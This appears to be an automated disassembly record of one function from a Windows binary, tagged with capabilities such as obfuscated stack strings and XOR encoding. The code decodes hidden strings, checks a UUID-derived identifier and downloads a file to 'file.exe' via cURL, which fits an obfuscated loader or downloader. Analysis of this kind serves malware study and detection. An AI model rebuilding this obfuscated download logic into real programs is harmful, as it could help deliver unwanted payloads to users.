Function at 0x14006dd60
Capabilities:
Contain obfuscated stackstrings
Create thread
Encode data using xor
Terminate process

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x350]
sub rsp, 0x450
mov rax, qword [0x1400f0080]
xor rax, rsp
mov qword [rbp + 0x340], rax
mov r14, rcx
xor r13d, r13d
mov dword [rsp + 0x50], r13d
mov qword [rsp + 0x28], r13
mov dword [rsp + 0x20], r13d
xor r9d, r9d
lea r8, [0x140070e80]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
cmp qword [r14 + 0x30], 0xa
jne 0x14006f20a
cmp qword [r14 + 0x50], 0x40
jne 0x14006f20a
xorps xmm0, xmm0
movups xmmword [rbp + 0x228], xmm0
xorps xmm1, xmm1
movups xmmword [rbp + 0x1c8], xmm1
mov qword [rbp + 0x1d8], r13
mov qword [rbp + 0x1e0], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1c8], r13b
lea rcx, [rbp + 0x228]
call qword [sym.imp.RPCRT4.dll_UuidCreate]
mov qword [rbp + 0xd8], r13
lea rdx, [rbp + 0xd8]
lea rcx, [rbp + 0x228]
call qword [sym.imp.RPCRT4.dll_UuidToStringA]
test eax, eax
jne 0x14006de50
mov rdx, qword [rbp + 0xd8]
lea rcx, [rbp + 0x1c8]
call fcn.1400686f0
lea rcx, [rbp + 0xd8]
call qword [sym.imp.RPCRT4.dll_RpcStringFreeA]
xorps xmm0, xmm0
movups xmmword [rbp + 0x188], xmm0
mov qword [rbp + 0x198], r13
mov qword [rbp + 0x1a0], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x188], 0
movups xmmword [rbp + 0x128], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x138], xmm1
mov r8d, reloc.WS2_32.dll_recv
cmp qword [rbp + 0x1d8], r8
cmovb r8, qword [rbp + 0x1d8]
lea rdx, [rbp + 0x1c8]
cmp qword [rbp + 0x1e0], 0xf
cmova rdx, qword [rbp + 0x1c8]
lea rcx, [rbp + 0x128]
call fcn.1400458e0
lea rdx, [rbp + 0x128]
lea rcx, [rbp + 0x188]
call fcn.140061750
lea rcx, [rbp + 0x128]
call fcn.1400457c0
mov word [rsp + 0x50], reloc.WLDAP32.dll_Ordinal_45
mov byte [rsp + 0x52], 0
lea r9, [rbp + 0xe0]
lea r8, [rsp + 0x51]
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x208]
call fcn.1400484e0
nop
lea r8, [rbp + 0x188]
cmp qword [rbp + 0x1a0], 0xf
cmova r8, qword [rbp + 0x188]
mov r9, qword [rbp + 0x198]
xor edx, edx
lea rcx, [rbp + 0x208]
call fcn.140057f70
xorps xmm0, xmm0
movups xmmword [rbp + 0x148], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x158], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x148], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x158], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea rcx, [rbp + 0x208]
call fcn.1400457c0
nop
lea rdi, [r14 + 0x40]
mov r8, rdi
lea rdx, [rbp + 0x148]
lea rcx, [rbp - 0x80]
call fcn.140047b20
lea rcx, [r14 + 0x258]
mov rdx, rax
call fcn.140061750
lea rcx, [rbp - 0x80]
call fcn.1400457c0
nop
lea rcx, [rbp + 0x148]
call fcn.1400457c0
lea rcx, [rbp + 0x1e8]
call fcn.140069fb0
nop
call fcn.1400757f0
mov rbx, rax
mov dword [rbp + 0xf8], 0x3b233c74
mov dword [rbp + 0xfc], 0x3d312533
mov word [rbp + 0x100], WSAGetLastError
mov byte [rbp + 0x102], 1
mov rdx, r14
cmp qword [r14 + 0x18], 0xf
jbe 0x14006dffa
mov rdx, qword [r14]
xor r8d, r8d
mov rcx, rbx
call fcn.140074320
mov r15, rax
mov dword [rsp + 0x78], 0x38353d74
mov dword [rsp + 0x7c], 0x1006a33
mov dword [rbp + 0x118], 0x363a3674
mov dword [rbp + 0x11c], 0x6421323d
mov word [rbp + 0x120], 0x100
mov dword [rsp + 0x70], 0x26353b74
mov dword [rsp + 0x74], 0x1006a3e
mov dword [rsp + 0x50], 0x27312574
mov word [rsp + 0x54], WSAGetLastError
mov byte [rsp + 0x56], 1
mov dword [rsp + 0x58], 0x30242a26
mov dword [rsp + 0x5c], 0x30363e6b
mov word [rsp + 0x60], reloc.WLDAP32.dll_Ordinal_46
mov byte [rsp + 0x62], 1
mov rcx, r13
nop dword [rax + rax]
lea eax, [rcx + 0x52]
xor byte [rsp + rcx + 0x50], al
inc rcx
cmp rcx, 5
jb 0x14006e080
mov byte [rsp + 0x56], 0
lea r9, [rbp + 0xe0]
lea r8, [rsp + 0x55]
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x128]
call fcn.1400484e0
nop
cmp byte [rsp + 0x62], 0
je 0x14006e0d5
mov rcx, r13
nop dword [rax]
lea eax, [rcx + 0x52]
xor byte [rsp + rcx + 0x58], al
inc rcx
cmp rcx, 9
jb 0x14006e0c0
mov byte [rsp + 0x62], 0
lea r9, [rbp + 0xe0]
lea r8, [rsp + 0x61]
lea rdx, [rsp + 0x58]
lea rcx, [rbp + 0x208]
call fcn.1400484e0
nop
lea r9, [rbp + 0x128]
lea r8, [rbp + 0x208]
movzx edx, byte [rbp + 0xe0]
lea rcx, [rbp - 0x80]
call fcn.1400481d0
nop
lea rcx, [rbp + 0x208]
call fcn.1400457c0
nop
lea rcx, [rbp + 0x128]
call fcn.1400457c0
nop
lea r8, [r14 + 0x60]
lea rdx, [rbp - 0x80]
lea rcx, [rbp - 0x60]
call fcn.140047b20
nop
lea r8, [rsp + 0x70]
mov rdx, rax
lea rcx, [rbp + 0x98]
call fcn.140065460
nop
lea rdx, [rbp + 0x1e8]
cmp qword [rbp + 0x200], 0xf
cmova rdx, qword [rbp + 0x1e8]
mov r8, qword [rbp + 0x1f8]
mov rcx, rax
call fcn.140047600
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x148], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x158], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea r8, [rbp + 0x118]
lea rdx, [rbp + 0x148]
lea rcx, [rbp + 0x78]
call fcn.140065540
nop
lea rdx, [rbp + 0x188]
cmp qword [rbp + 0x1a0], 0xf
cmova rdx, qword [rbp + 0x188]
mov r8, qword [rbp + 0x198]
mov rcx, rax
call fcn.140047600
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x128], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x138], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov esi, 0x1ff8000
lea r8, [rsp + 0x78]
lea rdx, [rbp + 0x128]
lea rcx, [rbp + 0x58]
call fcn.140065460
nop
mov r8, r15
mov rdx, rax
lea rcx, [rbp + 0x38]
call fcn.140047ab0
nop
lea r8, [rbp + 0xf8]
mov rdx, rax
lea rcx, [rbp + 0x18]
call fcn.140065620
nop
lea r8, [r14 + 0x20]
mov rdx, rax
lea rcx, [rbp + 0x208]
call fcn.140047b20
nop
lea rcx, [rbp + 0x18]
call fcn.1400457c0
nop
lea rcx, [rbp + 0x38]
call fcn.1400457c0
nop
lea rcx, [rbp + 0x58]
call fcn.1400457c0
nop
lea rcx, [rbp + 0x128]
call fcn.1400457c0
nop
lea rcx, [rbp + 0x78]
call fcn.1400457c0
nop
lea rcx, [rbp + 0x148]
call fcn.1400457c0
nop
lea rcx, [rbp + 0x98]
call fcn.1400457c0
nop
lea rcx, [rbp - 0x60]
call fcn.1400457c0
nop
lea rcx, [rbp - 0x80]
call fcn.1400457c0
mov rcx, rbx
call fcn.1400757d0
lea rax, [rbp + 0x128]
mov qword [rbp + 0x10], rax
lea rdx, [r14 + 0x80]
lea rcx, [rbp + 0x128]
call fcn.140046da0
mov rbx, rax
lea rdx, [rbp + 0x208]
lea rcx, [rbp + 0xb8]
call fcn.140046da0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x168]
call fcn.140071c50
nop
movdqa xmm0, xmmword [0x1400c9450]
movdqu xmmword [rbp + 0xf8], xmm0
mov byte [rbp + 0x108], 1
cmp qword [rbp + 0x178], 0x10
jne 0x14006e3bb
mov rcx, r13
nop dword [rax]
lea eax, [rcx + 0x52]
xor byte [rbp + rcx + 0xf8], al
inc rcx
cmp rcx, 0xf
jb 0x14006e330
mov byte [rbp + 0x108], 0
lea r9, [rbp + 0xe0]
lea r8, [rbp + 0x107]
lea rdx, [rbp + 0xf8]
lea rcx, [rbp + 0x148]
call fcn.1400484e0
mov esi, 0x1ffe000
lea rdx, [rbp + 0x148]
cmp qword [rbp + 0x160], 0xf
cmova rdx, qword [rbp + 0x148]
lea rcx, [rbp + 0x168]
cmp qword [rbp + 0x180], 0xf
cmova rcx, qword [rbp + 0x168]
mov r8, qword [rbp + 0x178]
cmp r8, qword [rbp + 0x158]
jne 0x14006e3bb
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14006e3bb
mov bl, 1
jmp 0x14006e3c3
xor bl, bl
bt esi, 0xd
jae 0x14006e3cf
lea rcx, [rbp + 0x148]
call fcn.1400457c0
test bl, bl
je 0x14006e438
movdqa xmm0, xmmword [0x1400c9590]
movdqu xmmword [rbp - 0x60], xmm0
movdqa xmm1, xmmword [0x1400c9540]
movdqu xmmword [rbp - 0x50], xmm1
movdqa xmm0, xmmword [0x1400c9660]
movdqu xmmword [rbp - 0x40], xmm0
movdqa xmm1, xmmword [0x1400c96a0]
movdqu xmmword [rbp - 0x30], xmm1
mov dword [rbp - 0x20], 0xbaf7e0
mov byte [rbp - 0x1c], 1
lea rcx, [rbp - 0x60]
call fcn.1400690c0
mov rdx, rax
mov r9d, reloc.WS2_32.dll_recv
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov qword [rbp - 0x28], r13
mov byte [rsp + 0x20], 0
mov r9b, 1
lea r8, [rbp - 0x60]
lea rdx, [rbp + 0x168]
lea rcx, [rbp + 0xe8]
call fcn.140065c40
nop
mov dword [rsp + 0x40], 0x2627363f
mov dword [rsp + 0x44], 0x3d3037
mov byte [rsp + 0x48], 1
lea rdx, [rbp - 0x80]
lea rcx, [rsp + 0x40]
call fcn.140068b90
nop
mov rbx, qword [rsp + 0x40]
movzx ecx, byte [rbp + 0xe8]
test cl, cl
jne 0x14006e4ac
mov byte [rbp + 0xe8], 1
call fcn.140047f90
mov qword [rbp + 0xf0], rax
movzx ecx, byte [rbp + 0xe8]
jmp 0x14006e4b3
mov rax, qword [rbp + 0xf0]
cmp cl, 1
jne 0x14006e4c7
lea rdx, [rbp - 0x80]
mov rcx, rax
call fcn.140057a30
mov rbx, rax
lea rdx, [rbp + 0x1a8]
mov rcx, rbx
call fcn.140052890
nop
lea rcx, [rbp - 0x80]
call fcn.1400457c0
xor edx, edx
mov r8d, 0xf8
lea rcx, [rbp + 0x240]
call sub.VCRUNTIME140.dll_memset
mov edx, 1
lea rcx, [rbp + 0x240]
call fcn.140068310
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x148], xmm0
mov qword [rbp + 0x158], rax
lea r8, [rbp + 0xe0]
lea edx, [rax + 0x20]
lea rcx, [rbp + 0x148]
call fcn.1400683d0
nop
mov r12, qword [rbp + 0x150]
mov rax, r12
mov r15, qword [rbp + 0x148]
sub rax, r15
lea r8, [rbp + 0x168]
cmp qword [rbp + 0x180], 0xf
cmova r8, qword [rbp + 0x168]
cmp qword [rdi + 0x18], 0xf
jbe 0x14006e565
mov rdi, qword [rdi]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r15
mov r9, qword [rbp + 0x178]
mov rdx, qword [r14 + 0x50]
mov rcx, rdi
call fcn.140078e50
mov rsi, r15
cmp r15, r12
je 0x14006e5f4
nop word [rax + rax]
movzx edi, byte [rsi]
lea rdx, [0x14006dba0]
lea rcx, [rbp + 0x250]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
mov dl, 0x30
call qword [sym.imp.MSVCP140.dll_public:_char___cdecl_std::basic_ios_char__struct_std::char_traits_char__::fill_char____ptr64]
mov edx, 2
lea rcx, [rbp + 0xf8]
call sub.MSVCP140.dll_struct_std::_Smanip_long_long___int64_____cdecl_std::setw_long_long___int64__
mov r8, qword [rax]
mov rcx, qword [rbx]
movsxd rcx, dword [rcx + 4]
add rcx, rbx
mov rdx, qword [rax + 8]
call r8
mov edx, edi
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
inc rsi
cmp rsi, r12
jne 0x14006e590
lea rbx, [section..data]
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rbx, qword [section..data]
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0x240]
call fcn.140073f40
cmp qword [rax + 0x18], 0xf
jbe 0x14006e630
mov rax, qword [rax]
nop word [rax + rax]
movd xmm2, dword [rbx]
punpcklbw xmm2, xmm2
punpcklwd xmm2, xmm2
psrad xmm2, 0x18
movd xmm0, dword [rax]
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
psrad xmm0, 0x18
xorps xmm2, xmm0
movd xmm1, dword [rbx + 4]
punpcklbw xmm1, xmm1
punpcklwd xmm1, xmm1
psrad xmm1, 0x18
movd xmm0, dword [rax + 4]
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
psrad xmm0, 0x18
xorps xmm1, xmm0
orps xmm2, xmm1
movdqa xmm0, xmm2
psrldq xmm0, 8
orps xmm2, xmm0
movdqa xmm0, xmm2
psrldq xmm0, 4
orps xmm2, xmm0
movd ebx, xmm2
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x14006e6d9
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006e6d4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14006e6d4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c3794
test ebx, ebx
je 0x14006e7e0
movdqa xmm0, xmmword [0x1400c94f0]
movdqu xmmword [rbp - 0x60], xmm0
movdqa xmm1, xmmword [0x1400c9500]
movdqu xmmword [rbp - 0x50], xmm1
movdqa xmm0, xmmword [0x1400c95e0]
movdqu xmmword [rbp - 0x40], xmm0
movdqa xmm1, xmmword [0x1400c9610]
movdqu xmmword [rbp - 0x30], xmm1
movdqa xmm0, xmmword [0x1400c9630]
movdqu xmmword [rbp - 0x20], xmm0
movdqa xmm1, xmmword [0x1400c9650]
movdqu xmmword [rbp - 0x10], xmm1
mov dword [rbp], 0xd0f993dd
mov dword [rbp + 4], 0xded9c4c5
mov dword [rbp + 8], 0x9c81df
mov byte [rbp + 0xc], 1
mov rcx, r13
nop dword [rax + rax]
lea eax, [rcx + 0x52]
xor byte [rbp + rcx - 0x60], al
inc rcx
cmp rcx, 0x6b
jb 0x14006e750
mov byte [rbp + 0xc], 0
lea rax, [rbp - 0x60]
mov rcx, 0xffffffffffffffff
nop
inc rcx
cmp byte [rax + rcx], 0
jne 0x14006e770
movabs rax, 0x7fffffffffffffff
mov rdx, qword [rbp + 0x1b8]
sub rax, rdx
cmp rax, rcx
jb 0x14006f272
lea rax, [rbp + 0x1a8]
cmp qword [rbp + 0x1c0], 0xf
cmova rax, qword [rbp + 0x1a8]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r9, [rbp - 0x60]
lea r8, [rbp + 0x1a8]
movzx edx, byte [rbp + 0xe0]
lea rcx, [rbp - 0x80]
call fcn.1400483c0
lea rcx, [rbp - 0x80]
call fcn.14006c9b0
lea rdx, [rbp + 0xe8]
lea rcx, [rbp + 0xf8]
call fcn.140057b20
mov rdx, rax
mov rcx, r14
call fcn.140070570
mov dword [rsp + 0x40], 0x36372621
mov dword [rsp + 0x44], 0x2b2433
mov byte [rsp + 0x48], 1
mov rcx, r13
nop word [rax + rax]
lea eax, [rcx + 0x52]
xor byte [rsp + rcx + 0x40], al
inc rcx
cmp rcx, 7
jb 0x14006e820
mov byte [rsp + 0x48], 0
lea r9, [rbp + 0xe0]
lea r8, [rsp + 0x47]
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x128]
call fcn.1400484e0
nop
movzx ecx, byte [rbp + 0xe8]
test cl, cl
jne 0x14006e87a
mov byte [rbp + 0xe8], 1
call fcn.140047f90
mov qword [rbp + 0xf0], rax
movzx ecx, byte [rbp + 0xe8]
jmp 0x14006e881
mov rax, qword [rbp + 0xf0]
cmp cl, 1
jne 0x14006e89a
lea rdx, [rbp + 0x128]
mov rcx, rax
call fcn.140057a30
mov rcx, rax
jmp 0x14006e89f
mov rcx, qword [rsp + 0x40]
lea rax, [rcx + 8]
cmp byte [rcx], 4
cmovne rax, r13
movzx ebx, byte [rax]
mov rdx, qword [rbp + 0x140]
cmp rdx, 0xf
jbe 0x14006e8f1
inc rdx
mov rcx, qword [rbp + 0x128]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006e8ec
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14006e8ec
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c3794
test bl, bl
je 0x14006ec3f
mov dword [rbp + 0xf8], 0x623363c
mov dword [rbp + 0xfc], 0x302b2433
mov dword [rbp + 0x100], 0x1003535
mov rcx, r13
nop word [rax + rax]
lea eax, [rcx + 0x52]
xor byte [rbp + rcx + 0xf8], al
inc rcx
cmp rcx, 0xa
jb 0x14006e920
mov byte [rbp + 0x103], 0
lea r9, [rbp + 0xe0]
lea r8, [rbp + 0x102]
lea rdx, [rbp + 0xf8]
lea rcx, [rbp + 0x128]
call fcn.1400484e0
nop
movzx ecx, byte [rbp + 0xe8]
test cl, cl
jne 0x14006e983
mov byte [rbp + 0xe8], 1
call fcn.140047f90
mov qword [rbp + 0xf0], rax
movzx ecx, byte [rbp + 0xe8]
jmp 0x14006e98a
mov rax, qword [rbp + 0xf0]
cmp cl, 1
jne 0x14006e9a3
lea rdx, [rbp + 0x128]
mov rcx, rax
call fcn.140057a30
mov rcx, rax
jmp 0x14006e9a8
mov rcx, qword [rsp + 0x40]
lea rax, [rcx + 8]
cmp byte [rcx], 4
cmovne rax, r13
movzx ebx, byte [rax]
mov rdx, qword [rbp + 0x140]
cmp rdx, 0xf
jbe 0x14006e9fa
inc rdx
mov rcx, qword [rbp + 0x128]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006e9f5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14006e9f5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c3794
test bl, bl
je 0x14006ea09
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0x58], 0x26273621
mov dword [rsp + 0x5c], 0x3036383f
mov word [rsp + 0x60], 0x3e
mov byte [rsp + 0x62], 1
mov rcx, r13
nop dword [rax + rax]
lea eax, [rcx + 0x52]
xor byte [rsp + rcx + 0x58], al
inc rcx
cmp rcx, 9
jb 0x14006ea30
mov byte [rsp + 0x62], 0
lea r9, [rbp + 0xe0]
lea r8, [rsp + 0x61]
lea rdx, [rsp + 0x58]
lea rcx, [rbp + 0x128]
call fcn.1400484e0
nop
movzx ecx, byte [rbp + 0xe8]
test cl, cl
jne 0x14006ea8a
mov byte [rbp + 0xe8], 1
call fcn.140047f90
mov qword [rbp + 0xf0], rax
movzx ecx, byte [rbp + 0xe8]
jmp 0x14006ea91
mov rax, qword [rbp + 0xf0]
cmp cl, 1
jne 0x14006eaa7
lea rdx, [rbp + 0x128]
mov rcx, rax
call fcn.140057a30
jmp 0x14006eaac
mov rax, qword [rsp + 0x40]
lea rcx, [r14 + 0x238]
mov rdx, rax
call fcn.1400652f0
nop
mov rdx, qword [rbp + 0x140]
cmp rdx, 0xf
jbe 0x14006eb00
inc rdx
mov rcx, qword [rbp + 0x128]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006eafb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14006eafb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c3794
mov byte [0x1400f0c18], 1
mov dword [rsp + 0x40], 0x3c242333
mov dword [rsp + 0x44], 0x373138
mov byte [rsp + 0x48], 1
mov rcx, r13
nop
lea eax, [rcx + 0x52]
xor byte [rsp + rcx + 0x40], al
inc rcx
cmp rcx, 7
jb 0x14006eb20
mov byte [rsp + 0x48], 0
lea r9, [rbp + 0xe0]
lea r8, [rsp + 0x47]
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x128]
call fcn.1400484e0
nop
movzx ecx, byte [rbp + 0xe8]
test cl, cl
jne 0x14006eb7a
mov byte [rbp + 0xe8], 1
call fcn.140047f90
mov qword [rbp + 0xf0], rax
movzx ecx, byte [rbp + 0xe8]
jmp 0x14006eb81
mov rax, qword [rbp + 0xf0]
cmp cl, 1
jne 0x14006eb97
lea rdx, [rbp + 0x128]
mov rcx, rax
call fcn.140057a30
jmp 0x14006eb9c
mov rax, qword [rsp + 0x40]
mov rdx, rax
lea rcx, [rbp + 0xf8]
call fcn.140057b20
mov rdx, rax
mov rcx, r14
call fcn.140070490
nop
mov rdx, qword [rbp + 0x140]
cmp rdx, 0xf
jbe 0x14006ebfc
inc rdx
mov rcx, qword [rbp + 0x128]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006ebf6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14006ebf6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c3794
nop
test r15, r15
je 0x14006ef88
mov rdx, qword [rbp + 0x158]
sub rdx, r15
mov rax, r15
cmp rdx, 0x1000
jb 0x14006ef7f
add rdx, 0x27
mov r15, qword [r15 - 8]
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14006ef7f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov dword [rbp + 0xf8], 0x34223d3b
mov dword [rbp + 0xfc], 0x2f3c3e3a
mov dword [rbp + 0x100], 0x100293f
xor eax, eax
mov qword [rsp + 0x60], rax
mov byte [rsp + 0x58], 3
xorps xmm0, xmm0
movups xmmword [rbp + 0x118], xmm0
lea ecx, [rax + 0x20]
call fcn.1400c3aa8
mov rbx, rax
lea rax, [rbp + 0xe0]
mov qword [rbp + 0x118], rax
mov qword [rbp + 0x120], rbx
cmp byte [rbp + 0x103], 0
je 0x14006ecba
mov rdx, r13
nop
lea ecx, [rdx + 0x52]
xor byte [rbp + rdx + 0xf8], cl
inc rdx
cmp rdx, 0xa
jb 0x14006eca0
mov byte [rbp + 0x103], 0
lea r9, [rsp + 0x68]
lea r8, [rbp + 0x102]
lea rdx, [rbp + 0xf8]
mov rcx, rbx
call fcn.1400484e0
nop
mov qword [rsp + 0x60], rbx
mov dword [rsp + 0x40], 0x2627363f
mov dword [rsp + 0x44], 0x3d3037
mov byte [rsp + 0x48], 1
mov rcx, r13
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx + 0x52]
xor byte [rsp + rcx + 0x40], al
inc rcx
cmp rcx, 7
jb 0x14006ed00
mov byte [rsp + 0x48], 0
lea r9, [rsp + 0x68]
lea r8, [rsp + 0x47]
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x128]
call fcn.1400484e0
nop
movzx ecx, byte [rbp + 0xe8]
test cl, cl
jne 0x14006ed58
mov byte [rbp + 0xe8], 1
call fcn.140047f90
mov qword [rbp + 0xf0], rax
movzx ecx, byte [rbp + 0xe8]
jmp 0x14006ed5f
mov rax, qword [rbp + 0xf0]
cmp cl, 1
jne 0x14006ed75
lea rdx, [rbp + 0x128]
mov rcx, rax
call fcn.140057a30
jmp 0x14006ed7a
mov rax, qword [rsp + 0x40]
lea rdx, [rsp + 0x58]
mov rcx, rax
call fcn.140068770
movzx ebx, al
mov rdx, qword [rbp + 0x140]
cmp rdx, 0xf
jbe 0x14006edce
inc rdx
mov rcx, qword [rbp + 0x128]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006edc9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14006edc9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c3794
movdqa xmm0, xmmword [0x1400dd030]
movdqu xmmword [rbp + 0x138], xmm0
mov byte [rbp + 0x128], 0
movzx edx, byte [rsp + 0x58]
lea rcx, [rsp + 0x60]
call fcn.140047100
test bl, bl
je 0x14006ebfc
mov dword [rbp + 0x118], 0x3b233c36
mov dword [rbp + 0x11c], 0x3d39383a
mov word [rbp + 0x120], 0x100
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0x118]
call fcn.140068be0
nop
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0xe8]
call fcn.140068b40
lea rdx, [rbp + 0x128]
mov rcx, rax
call fcn.140052890
nop
lea rcx, [rbp - 0x80]
call fcn.1400457c0
lea rcx, [rbp + 0x128]
call fcn.14004d980
test al, al
jne 0x14006ef76
lea rdx, str.file.exe
lea rcx, [rbp + 0xf8]
call fcn.140045820
nop
call fcn.1400757f0
mov rdi, rax
test rax, rax
je 0x14006ef46
lea rcx, [rbp + 0xf8]
call fcn.1400459e0
mov rcx, rax
lea rdx, [0x1400c9354]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov rsi, rax
lea rcx, [rbp + 0x128]
call fcn.1400459e0
mov r8, rax
mov edx, 0x2712
mov rcx, rdi
call fcn.140077ff0
lea r8, [0x140074140]
mov edx, 0x4e2b
mov rcx, rdi
call fcn.140077ff0
mov r8, rsi
mov edx, 0x2711
mov rcx, rdi
call fcn.140077ff0
mov rcx, rdi
call fcn.1400758b0
mov r14d, eax
test eax, eax
je 0x14006ef33
lea rdx, str.Fehler_beim_Herunterladen:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140052320
mov rbx, rax
mov ecx, r14d
call fcn.140074ee0
mov rdx, rax
mov rcx, rbx
call fcn.140052320
lea rdx, [0x140052620]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rdi
call fcn.1400757d0
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
jmp 0x14006ef6a
lea rdx, str.Fehler_beim_Initialisieren_von_cURL.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140052320
lea rdx, [0x140052620]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0xf8]
call fcn.1400457c0
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
mov rcx, r15
call fcn.1400c3794
nop
mov rax, qword [rbp + 0x240]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + rcx + 0x240], rax
mov rax, qword [rbp + 0x240]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx + 0x23c], edx
lea rcx, [rbp + 0x258]
call fcn.1400684f0
lea rcx, [rbp + 0x260]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
